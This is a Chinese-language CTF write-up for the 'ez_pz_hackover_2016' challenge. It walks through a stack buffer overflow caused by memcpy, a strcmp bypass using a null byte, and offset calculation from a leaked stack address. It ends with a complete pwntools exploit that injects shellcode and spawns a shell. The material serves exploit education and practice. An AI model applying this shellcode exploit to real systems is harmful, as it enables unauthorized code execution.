# 1. 查看程序

发现没有开启 NX,有 rwx 段,可以利用 shellcode

利用 ida 查看

因为要写入 shellcode 并执行,所以我们需要利用栈溢出

chall 函数里的 fget 因为大小限制为 1024(0x400),所以我们无法溢出,但是,该函数末尾有个 vuln(s,0x400),里面的 memcpy 函数会将 s,复制给 dest,且有 0x400 的大小可以进行溢出。

我们需要绕过 strcmp(s,crashme) , 可以利用 \x00 截断

# 2. 漏洞利用

我们通过执行 shellcode 来 getshell,通过 vuln 函数中的 memcpy函数 进行复制来导致溢出,让我们返回到 shellcode 的地址,去执行

由于分配的栈每次都是随机分配的,所以地址是变化的,导致我们需要的 shellcode 地址也是变动的

偏移量是定值,在 chall 函数中首先会给一个 s 的地址, s 也在栈上(但是在不同的函数栈上),我们可以用得到的 s,加上调试找到的 shellcode 地址算出偏移量,利用固定的偏移量来计算后面的 shellcode 地址

字符串 s 的地址高地址,要输入的 shellcode 地址为低地址

offset=0xfffdc7ac-0xfffdc790=0x1c=28

其余只需要用 \x00 绕过 strcpy() 函数即可

【注意】

该题的 dest 栈的偏移在 ida 中有偏差,我们进行手动调试

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'
 
gdb.attach(p)  ## 会在此处再打开一个终端
# 'b *0x8048600'  ##在该终端下设置对应断点(要设置在对应函数结束之前),设置完后必须在新终端按下“c”来继续进行,再在旧终端里按下回车
,
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收s在栈上的地址

payload='crashme\x00'+'aaaaaa'#crashme\x00绕过if判断      

pause()  #必须要在发送的payload前面,不然直接发送结束无法查询了
p.sendline(payload)
 
pause()  #必要的,不能少

调试步骤见文章 gdb本地调试

从上图中看到 ebp 地址为 0xfffdc788 ,esp 0xfffdc750 , 相对偏移为 0x38(ebp-esp),我们输入的内容从偏移 0x22 开始(小端序倒着读),从这可以看到我们需要填充的 padding 大小为 0x16+4(0x38-0x22+4)从未输入 crashme 开始算

n
payload=b"crashme\x00"+b"a"(0x16-8+4)+stack_add+shellcode #减 8 为前面的 "crashme\x00" 的长度 (\x00 为 1)

# 3. exp

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=process('./ez_pz_hackover_2016')
#p=remote('node4.buuoj.cn',28249)
#gdb.attach(p,"b *0x8048600")
shellcode = asm(shellcraft.sh())
p.recvuntil("lets crash: ")
stack=int(p.recv(10),16)
offset=0x1c
p.recvuntil("> ")
payload1=b"crashme\x00"+b"a"*(0x16-8+4)+p32(stack-0x1c)+shellcode 
p.sendline(payload1)
p.interactive()

打通本地

得到 flag